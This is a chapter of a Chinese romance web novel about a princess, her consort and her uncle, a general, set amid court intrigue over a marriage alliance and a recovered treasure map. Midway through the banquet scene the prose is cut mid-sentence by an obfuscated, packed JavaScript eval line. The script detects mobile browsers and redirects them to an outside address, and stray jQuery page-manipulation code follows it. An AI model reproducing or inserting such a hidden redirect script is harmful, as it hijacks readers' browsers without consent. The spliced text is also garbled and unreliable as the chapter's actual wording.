66. 066

作品:《公主驸马素来不和

    舅母也是关心则乱,萧珍刚怀上孩子,京中流言蜚语四起,只因从前公主与驸马关系闹得太僵,更何况刚因面首之事两人吵架,面首虽已离府,但驸马生病多日,不得不令人怀疑,这个孩子的真实身份。


    “珍儿,无论这个孩子...怎么说他都是你的骨肉,是我们的好孩子,只不过这外面流言沸沸扬扬,舅母真的担心会影响你啊。”


    萧珍抿了抿唇,“舅母是从何处听说的。”


    “哎,无论这流言从何而起,也无论真假,人们都只愿意相信自己相信的,何况此时是传得正盛之际,更没人愿意相信真相。”李氏一脸愁容,“这对你实在不利啊。”


    “舅母。”萧珍笑着安抚舅母情绪,“自我辅政以来,什么流言蜚语没听过?”


    “可这次不同艾,这涉及到皇家子嗣,你若置之不理,他们只会变本加厉地扭曲事实,你可以不在意,可时局变化,将来发生什么谁又说的准,到时孩子出生,你是想他以长宁公主的嫡子嫡女的身份活着,还是非嫡非亲的公主与面首之子?”


    舅母的话到是提醒萧珍,时局动荡变化,她如今手握权利都是凭着宗族血脉的优势,说到底是父皇给的,若是她没有孩子,还能就从长计议,但眼下看来,她所筹谋的一切都要提前了。


    “好了,舅母,别担心了,此事我自有分寸。”萧珍岔开话题,“年关将至,舅舅今年会归京吗?”


    听到萧珍说她自有分寸,李氏也不再担心,萧珍从来没让她失望过,接着愁容中多了几分苦涩的笑意,“你舅舅,已经多少年没回来了?只要没有圣上旨意,他怎么回来?”


    萧珍手指微蜷,“舅母放心,今年,我们一家人肯定会团聚的。”


    舅母弯唇一笑,心疼萧珍疲惫的脸色,用手摸了摸她的脸。


    说话间,寝殿大门开启,陆今安手中端着参汤,李洵也跟着进来。


    陆今安礼数周道地问好后,坦然自若地坐到萧珍身边,旁若无人地喂她喝参汤,萧珍也下意识地接受他的服侍。


    李氏微微惊诧地看着两人,如此亲密的举动,可不像是外界所传的那样。


    萧珍忽然意识到什么,接过勺子说:“我手又不是断了,自己来吧。”


    李氏看了李洵一眼,两人隔空对视会心一笑,也不便再待在此处,对萧珍笑着说:“好了,舅母看你好好的,也就放心了,眼下该回去了。”


    “哎,舅母,再陪我一会儿嘛。”萧珍难得撒娇道。


    李氏忙起身,眼神示意陆今安不必相送,对着儿子抬颌,转而对萧珍说道:“走吧,舅母改日再来看你。”


    待李氏母子走后,陆今安端着汤碗,捏着汤匙,慢慢地喂着萧珍喝参汤。


    萧珍想到了什么,突然问道:“陆今安,你觉得我会是个好母亲吗?我的孩儿,会不会嫌弃我?”


    “当然。”陆今安安然地说,“殿下的才智,财富,美貌,是他此生得到过的最珍贵的东西,他感激殿下还来不及,有什么资格和理由嫌弃?”


    这话刻薄得不像亲爹说的,萧珍看了看孩子的亲爹,倒也算是才貌双全,身怀绝技,照这么说,他们的孩子应该也不差,萧珍从来没有这么别扭道:“可本宫害得他还未出生,就落得个坏名声,无论是男孩女孩,待他长大知道真相,会不会怨我?”


    “不会。”陆今安放下见底的汤碗,“等他出生长大,那些捏造谣言之人就全都死光了。”


    萧珍忍俊不禁,她仔细地看向陆今安,看他神色,不像是在玩笑。


    “那你可不可以帮本宫查查,这谣言是从何而来的?”


    “好,交给我。”陆今安吻了吻她的额头,轻声说道,“睡吧。”


    “本宫都睡多久了?”萧珍伸了个懒腰,“我想活动活动筋骨。”


    陆今安眸光微微一怔,“前三个月还是不要...”


    萧珍皱眉,甩了他肩膀一巴掌,“你想什么呢?陆今安,我是说要你陪我去堆雪人!”


    陆今安望了一眼外面幽深夜色,又转眼看兴致勃勃的萧珍,心软下来,妥协地说了一句:“好。”


    暮色浓云夜空下,雪落如絮,斜织如网,庭院里的梅枝,石阶都铺了层薄绒,红灯笼散成层层光晕,映照着两个忙碌的身影。


    准确的说是一个,陆今安把萧珍里三层外三层,裹得像个雪人,淡粉大氅严严实实,只露出小脸,身上也用丝带系起,手都拿不出来,只能坐在旁边,静静地看着陆今安堆雪人。


    “这算什么堆雪人?”萧珍低头看了一眼自己,“我倒是像个雪人。”


    “看也算。”陆今安挥铲的动作也是干净利落,兵贵神速,没多会儿连雪人的身子都做好了。


    萧珍凭着自己努力起身,挣脱束缚后,跳到陆今安身边,从身后一把抱住他,跳到他背上,咬了下他冰凉耳尖,“本宫是怀孕了,不是生病了,再说了我有分寸啊,不舒服肯定跟你说了。”


    陆今安转头,轻轻吻了一下她的侧脸,“不许说病字。”


    “好好好,不说就不说。”萧珍视线移到两只雪人身上,“这是我和你吗?”


    “殿下好眼力。”


    “那是不是还缺一个。”


    陆今安护着萧珍稳稳落地,顺带将她护在怀里,“是男是女尚未可知,如何堆?”


    萧珍从枝头摘下来两支寒梅,插在雪人一边一个,“这样不就好了,我们冉儿无论是男孩还是女孩,一定如寒梅一般坚韧,聪明...哎!”


    没等她说完,陆今安一下子将她打横抱起,走进寝殿。


    -


    长宁公主腹中胎儿身世有疑的传言,被明真道长一句吉言所破,公主怀的是皇家子嗣,此乃福运绵长,祥瑞之兆,若是谁再敢胡言乱语,那便是坏了国运,宫中抓了几个乱嚼舌根的典型宫人,全都打发尚方司。


    元帝赏赐公主,不仅是金银珠宝,还晋升萧珍为监国公主,重新辅政,不仅如此,连驸马官职也晋升,从兵部员外郎晋为兵部郎中。


    这点萧珍倒是没有想到,父皇为何要晋的陆今安官职。


    早朝仪典,百官入朝,香炉里升起的檀香,裹着寒气,元帝正襟危坐于明堂之上。


    “启禀殿下,臣有本要奏。”


    “准。”


    曲绍之行礼道:“关于选和亲公主一事,礼部从女红学堂初筛共二十人,还请陛下过目。”


    只要是提到和亲一事,一片祥和的朝堂,自动分成针锋相对的两个阵营。


    “陛下,老臣以为和亲不妥,婆娑国此等撮尔小国,无论我们送不送公主前去和亲,他们总会有理由无赖索取,倒不如北上伐之,以示我古陵国威。”


    户部尚书白明远:“聂阁老说得轻巧,战争劳民伤财,必定会付出惨痛代价,既然婆娑国只想用女人交换,如此轻巧之事何乐而不为呢?”


    聂阁老坚持道:“陛下!若是送公主和亲,婆娑国必定以公主为借口,向古陵无穷无尽地索取,古陵人才济济,并非没有一战之力啊!”


    白明远:“有没有一战之力,那得问兵部啊!”


    兵部侍郎赵逵冷汗直流,恨不得找个缝钻进去逃走,古陵多年以和为贵,战士无争,懈怠军事,他也是这么多年谨小慎微,不但没得一点好处,还来了位驸马做他的属下,如今朝堂之上,明明和亲之事与他无关,还要在这被人拉出来羞辱,简直是无妄之灾。


    元帝扶着脑门,目光若有似无地看向萧珍,“好了,婆娑使者在元京住得有些时日了,绍之啊,你得替朕稳住他们。”


    “是。”


    “至于和亲一事,等女红学堂卒业后,再做打算。珍儿,你如何看待此事?”


    “儿臣...”萧珍先是疑惑地环视一周,接着道:“儿臣以为聂阁老所言极是,古陵地大物博,何必惧怕婆娑小国?”


    此话一出,众人议论纷纷,白明远冷哼一声:“殿下怀有身孕,嘴里杀业不易过重,以免影响国运昌盛。”


    萧珍目不斜视,“本宫说的是杀婆娑人,又没说杀白大人,异国贼子死不足惜,怎算杀业过重,影响国运?”


    “杀婆娑人,难道有那么简单?万事以和为贵,原本便是与婆娑国约定好,怎好出尔反尔?”


    萧珍目光虚无地放空,也不去看高坐明堂上的那位,声音低沉但有力量:“凭何古陵要受一小国摆布?哪有一点大国气节。”


    “殿下!古陵军中又有几位将军,能担当此任?”


    “启禀陛下!定北大将军归京,正在殿外候着,前来复命。”


    神态自若的萧珍,一听是舅舅回来了,连忙面露喜色,抬眼看向父皇。


    景王李铭身披铠甲,威武雄壮,面容刚毅,双眼透着一种威严和果敢,手上未有任何兵刃,却有让人看一眼就被气场震慑,不禁规避。


    许多年轻朝中官员,因景王常年驻守边关,并未见过其尊荣,如今意见,竟被气场惊到,心中暗暗明白,为何这么多年,边关尚安。


    李铭先是看了一眼萧珍,躬身行礼:“臣李铭,参见陛下。”


    元帝不动声色地瞄了一眼萧珍,是他下旨让景王回来的,但背后少不了萧珍的推波助澜,有好几日萧珍去玄明宫请安,都有意无意地透露想念舅舅,恰逢怀有身孕,便施恩下旨。


    “爱卿不必多礼,快快请起。”


    “多谢陛下。”李铭不紧不慢地说,“臣此次归京,特来向陛下复命,前月婆娑边境的流寇闯入我北疆村庄,烧杀抢掠,无恶不作,甚至劫掠京中拨发给北疆的军饷。”


    “哦?还有此事,爱卿为何不报?”


    “陛下恕罪,只因事发突然,而定北军...”李铭轻蔑地扫了一眼白明远,“兵贵神速,不出半日,斩获俘虏,平定此乱,臣又奉召归京,特来亲自向陛下复命。”


    “好。好啊,算是有惊无险,此乃喜事,朕定重赏。”


    “多谢陛下。”李铭缓缓说道,“臣方才在殿外,听到白大人些许言语,说我古陵与婆娑的一战之力,想必在座各位,是没吃过北疆的水,吹过北疆的风,但定北军经年累月如此,早已习以为常,如此便可知,只要是我古陵儿女,便没有打不过婆娑之人的道理。”


    元帝嘴角笑容变淡,他从心中忌惮李铭,可一时半会不能动他,只因他心里清楚,眼下确实没有精兵良将能比得上景王的定北军,这也是他十几年前决策的弊端,削弱武将权利,去最终形成一方独大的局面,偏偏这人还是他最敬重畏惧之人。


    “爱卿所言极是,和亲一事改日再议,今日朕要设家宴,为景王接风洗尘。


    既然是家宴,景王也暂且留在宫中,不必走了,下朝一瞬,人潮褪去后,萧珍最后出来,见不远处舅舅正在同陆今安说什么,她也顾不上那么多,思念早已控制不住,离老远她朝着舅舅跑去。


    “舅舅!”


    两个身形高大的男人,不约而同地转头看过来,脸上摆满相同的惊慌。


    萧珍扑倒舅舅怀里,吓得李铭稳稳接住,嘴里嗔怪责备道:“怎么冒冒失失的,吓到我孙儿怎么办?”


    “舅舅,你孙儿还没成人形呢。”萧珍笑得合不拢嘴,“我还以为你要等除夕前后才能回来呢。”


    “接到圣上旨意,便马不停蹄地往回赶了,舅舅担心你和你的孩子,也想见见你舅母和表哥。”


    “舅舅。”陆今安异常乖巧贴心,“外面风大,不如回宫再聊吧。”


    李铭打量着陆今安,显然对他的外甥女婿,略有不满,转而护着萧珍,“好,我们回去再聊。”


    萧珍被两人护送在中间走着,幸福蔓延到嘴角化成笑意:“可惜啊,舅舅,这次回来我不能陪你喝酒了。”


    “无妨,你喝不了。”李大将军手一指,“你驸马可以喝。”


    萧珍灿烂地笑着说道:“舅舅,他...”


    “舅舅,我可以。”


    “且慢,你先别叫我舅舅,本王刚回京,连我家珍儿的成婚尚未赶得上,你得到我的认可了吗?就改口?”


    萧珍嗔怪地推了推舅舅。


    “好,景王殿下。”陆今安乖巧地说道。


    李铭颇为满意地说:“哎,对咯,想让本王认可你,你还得努力。”


    -


    既然说是家宴,故而没有外人,当然也没有歌舞奏乐,就像是一家人聚在一起吃饭。


    宫宴上,元帝身旁坐着皇后和宠妃,公主驸马,景王一家,接风宴准备得仓促,但倒也不算是敷衍,好似时刻准备着的一样,每一样菜品都符合规制,既不奢华也不失礼。


    特供的玉露酒喝了并不醉人,李大将军喝了两口,便放下。


    “怎么,是饭菜不合胃口?”元帝关切地问道。


    “自然不是,臣在边关黄沙拌米尚且吃的下,眼前这简直是美味珍馐啊。”


    “爱卿辛苦了,来,陛下敬你一杯。”


    在场众人皆聚起酒杯,举杯同饮后,元帝说道:“爱卿今日天色已晚,不如宿在宫中,许久未见,朕也想与你多说说话。”


    萧珍看着舅母失落的神情,笑着开口道:“父皇,舅舅好不容易回京一趟,不如今日先回府歇歇吧。”


    “哎,正好,臣也有许多公事想同陛下汇报。”


    “好。”


    李铭浅笑着说道:“臣从北疆带回一些特产,特献给陛下。”


    萧珍看了一眼舅舅,放下筷子,看着士兵搬上来一箱东西,玻璃罐里放着绯红液体,她不动声色地与陆今安对视。


    曲皇后掩面失色:“呦,这是什么东西?”


    “娘娘莫慌,这是北疆的鹿茸血,滋阴补阳佳品,臣听闻陛下喜得一子,想必很是需要。”李铭不紧不慢地说着,眼神透着胜券在握的笑意,陆今安今日一见方知,李氏血脉明里暗里揶揄的本事,是一脉相承的。


    元帝忌惮李铭,不止是因他的身份,更是因他心中有愧。


    当初李氏可是元京世家大族之首,而元帝是先帝中资质最平凡的儿子,娶了李氏女子,可谓是令元帝多了大半的胜算,当初李铭与几位将军为元帝效犬马之劳,谁成想帝王无情,地位安稳后,开始卸磨杀驴。


    元帝是有顾虑的,毕竟李铭是先皇后的亲哥哥,关系不仅是君臣这么简单,但他还是将李铭发配边疆,以为如此便可高枕无忧,可李铭即便在边疆也是屡立战功,无懈可击。


    “多谢爱卿。”


    “北疆不比元京,珍奇宝物唾手可得,唯一一点就是牲畜多,野鹿到处都是,这点鹿茸血,还望陛下莫要嫌弃。”


    “爱卿说笑了,朕怎会嫌弃?鹿茸对元京来说可是稀罕物。”元帝皮笑肉不笑地应承道。


    萧珍胸口发闷,看着舅舅的神情,总觉得有不好的预感。


    “臣,还有一宝物,献给陛下。”


    元帝:“哦?是何物?”


    李铭一挥手,士兵手握细长红盒,打开里面似乎是一幅画。


    “这是?”


    “北疆藏宝图。”


    此话一出,众人脸色皆是一变,萧珍不可置信地看向那红盒,那是害死陆大将军的东西,当初朝廷逼迫将军献宝,将军不从便扣上了个谋反的罪名,前世萧珍也是到后来才知道的这些事。


    陆今安死后,她也试图去找过藏宝图,可最终皆无疾而终,她一直以为这东西根本不存在。


    元帝也沉默下来,在场没人敢说话,唯有李铭爽朗地笑着:“各位,本王是来献宝的,怎么好像是献的是什么不祥之物?”


    元帝轻咳干笑两声:“没错,爱卿说得没错,这确实是一件宝物。”


    萧珍目不斜视,悄悄移动手,在袖子下握住了陆今安的手。


    “陛下,曾经呢,司礼监查办此案,结论是陆大将军私藏此图,拒不献宝,可


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16871706|178373||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这东西竟让臣清流寇之时,在婆娑人身上发现了。”


    “此物怎会在婆娑人身上?”


    “是啊,此物怎会在婆娑人身上,这可是我古陵的珍宝啊,今日是家宴,在座都是皇室血缘宗亲。”李铭严谨地说,“哦,除了潘公公和这些宫女们,故而臣斗胆提出此事,请陛下圣裁。”


    “潘信赨!你是如何办的事?”


    潘信赨“扑通”一声跪下,“陛下老奴冤枉啊!当初司礼监上下查办此案,案宗是陛下您亲自朱批的啊,陆大将军供词如今还白纸黑字地印在卷宗之上...此物在婆娑人身上,只能说是陆将军,通敌叛国。”


    萧珍一个眼刀飞过去,凝眉看着潘信赨。


    “哎,陛下,此事事关重大,又死无对证,臣在元京还要有些时日,不如请三法司重启旧案,彻查此事,若是没办法给出交代,恐会寒了忠臣之心啊。”


    “爱卿放心,朕定会严查此事。”


    夜色正浓,殿外雪停,凉风习习,景王正在和夫人儿子道别。


    萧珍悄悄牵起陆今安的手,呼吸之间团团白气,透着暖意,鼻尖冻得微红。


    “今晚又会有多少人难以入睡了。”


    “别人我管不着,只要殿下安睡便好。”


    萧珍能看出舅舅情绪,她能感知得到,舅舅似乎一直为此事奔波,且为一直在等这个机会就,当初舅舅与陆大将军同在定北军,交情匪浅,定是赶往北疆,发现了什么。


    “陆今安,你难过吗?”


    两人不约而同地停下脚步,陆今安轻轻捧起萧珍的脸,遮挡住风雪,掌心温度缓缓蔓延。


    “臣要感激殿下...”


    “哎!你那臭小子,把手给本王放下!”景王声如洪钟,离老远也格外响亮,害得景王夫人嗔怪地拍了他一下。


    “莫要一惊一乍,吓到珍儿怎么办?”


    李洵看到父亲归京自然是欢喜,如今怎么感觉自己往旁边一站,像个局外人?


    “父亲...”


    “有事?”


    “没事...”


    “夫人。”李铭缱绻地牵起夫人的手轻吻,“我就在宫中住两日,忙完便回府。”


    “嗯,你要小心,注意安全。”


    “知道了。”


    李铭笑着说完,点头让他们回去,转过来走到萧珍和陆今安身边。


    “你小子等着,本王过会过来找你喝酒。”


    -


    长宁宫。


    萧珍躺在床上,抬头看着不远处续茶喝水的陆今安。


    “我舅舅其实他的过会,可以是一个时辰,也可以是一天,要不你先睡吧。”


    陆今安起身走过来,为萧珍盖好被子,“殿下先睡吧。”


    “你可以不那么听话,今晚父皇和舅舅定会聊到很晚,人怎么也得睡觉吧?”


    “君子不可言而无信,多晚我都等。”


    怎么劝也劝不动,萧珍无奈地扯过被子,翻身昏沉睡去。


    陆今安静静地拍着她,萧珍昏沉睡去,再次醒来时,腰间轻拍的力消失,她起身问:“彩云,什么时辰?”


    “殿下,子时已过。”


    “驸马呢?”


    “驸马在偏殿与景王殿下喝酒。”


    萧珍揉揉眉心,从床上起来,“彩云,替本宫穿衣。”


    “殿下,外面太冷,驸马吩咐,醒了也就莫要殿下走动,怕染了风寒。”


    “哪那么娇气?”萧珍皱眉道,“喝多久了?”


    “得有一个多时辰了。”


    舅舅也是不嫌累,从北疆赶回来,连家都没回,来跟她的驸马喝酒?


    长宁宫偏殿,驸马景王相对而坐,酒过三巡后,两人开始沉默。


    景王声如洪钟也不由得压低音量:“你小子,不要以为我家珍儿要独当一面,你就可以欺负她,她背后是有家人的,有我这个舅舅在,谁也不能欺负她。”


    陆今安双手握着酒杯,恭敬地压低,一饮而尽,以表敬意。


    “舅舅放心。”


    “不要叫我舅舅。”李铭差点破音,“我家珍儿从小到大,只要我在时,没人能欺负得了她,如今我虽不在她身边,可你也不要掉以轻心,说是让我知道谁欺负她,就算是冒着掉脑袋的风险,本王也要杀回元京。”


    “王爷放心。”陆今安规规矩矩地回道。


    “你个臭小子,也就你欺负她,就是你!”醉酒之人胡言乱语,眼泪也不受控制,但景王控制得很好,不过是有一点泪眼汪汪。


    陆今安在一旁不辩解,乖乖地听着训斥。


    “珍儿是本王的外甥女,我妹妹死了,她就是我的女儿,朝中那些老不死的王八蛋,胆敢趁本王不在,就这么欺负她,你也欺负她...”


    萧珍手握灯笼,裹紧大氅,帽子里是长直未梳的发,推门而入。


    “哎?珍儿!”


    “舅舅,深更半夜,怎么还在喝酒?”


    李铭指着陆今安:“舅舅还没替你收拾这臭小子!”


    “舅舅!”萧珍态度缓和下来,“时候不早了,该睡觉了,明日再喝。”


    李铭很是听萧珍的话,嘴里嘟囔着谁都不能欺负珍儿,倒头就睡。


    萧珍转眼看向陆今安:“你可以自己走吗?”


    “嗯,我怕没醉。”


    偏殿与正殿离得不远,回到寝殿,萧珍刚脱下大氅,身后陆今安一把抱住她。


    寝殿灯火明暗晃动,将两人拥抱身影,映在珠帘帷幔上,肩上的重量不轻不重,环在腰间的力几乎轻到感觉不到,带着温度的酒气萦绕着萧珍,她抬手抚摸着肩上脸颊的轮廓。


    “陆今安。”萧珍贴着带有酒气的温度,陆今安没有说话,可她却感受到了他所有的情绪,借着说道,“我们在一起一辈子,好不好?”


    “不够。”陆今安稍稍起身,顺手捉住她的指尖,将她转过来,望着她的双眼,明晃烛光,落在他坚定眼底,缓缓说道:“要生生世世都在一起。”


    萧珍抚摸着陆今安的脸,拇指摩挲着他的唇,轻轻地说一句:“好。”


    隔着晃动烛火,窗外是大雪寒冬,两人相拥一方小天地,无比温暖。


    萧珍早就备好了醒酒汤,端来放在陆今安手上,原本陆今安是想劳烦殿下喂的,后知后觉不能让殿下太过劳累,只能收起可怜的样子。陆今安三两下喝完醒酒汤,跑去梳洗干净,换了寝衣,躺到被窝,抱着萧珍。


    “舅舅跟你说什么了?”


    陆今安顿了顿,回忆一下,总结下来:“说了很多。”


    “很多是什么?”


    “景王说,怕有人欺负殿下。”


    “你咋那么还叫他景王?好生分。”萧珍往他怀里钻了钻,“昨晚你怎么不趁他喝醉了,借机改口?”


    陆今安深深叹一口气,无奈地闭眼:“景王的确是喝醉了,但一听到我叫舅舅,酒就醒了。”


    萧珍忍俊不禁:“其实呢,讨好舅舅很简单,你只需把你那些看家的兵器,挑出一件送给他,就好了。”


    陆今安轻吻了下萧珍额头,“我要做的不是获得景王的认可,而是真正让王爷知道,我有保护殿下的能力,而且,我真的没有欺负你。”


    萧珍满意地拍了拍他肩膀,“好啊,其实舅舅是个嘴硬心软的人。”


    夜色深浓,相拥的两人,看不到彼此神情,仅凭呼吸判断情绪。


    “陆今安,舅舅一定会喜欢你的。”


    “嗯。”陆今安停顿半晌问道,“殿下我们何时回家?”


    萧珍自然明白陆今安说的是何意,她闭着双眼,腾出一分力气逗他。


    “这不是你的家吗?”


    “不是。”陆今安声音很轻,却斩钉截铁,“宫殿虽暖,不比府中。”


    “好,本宫答应你尽快回,不过在此之前,还有件事,需要驸马帮忙。”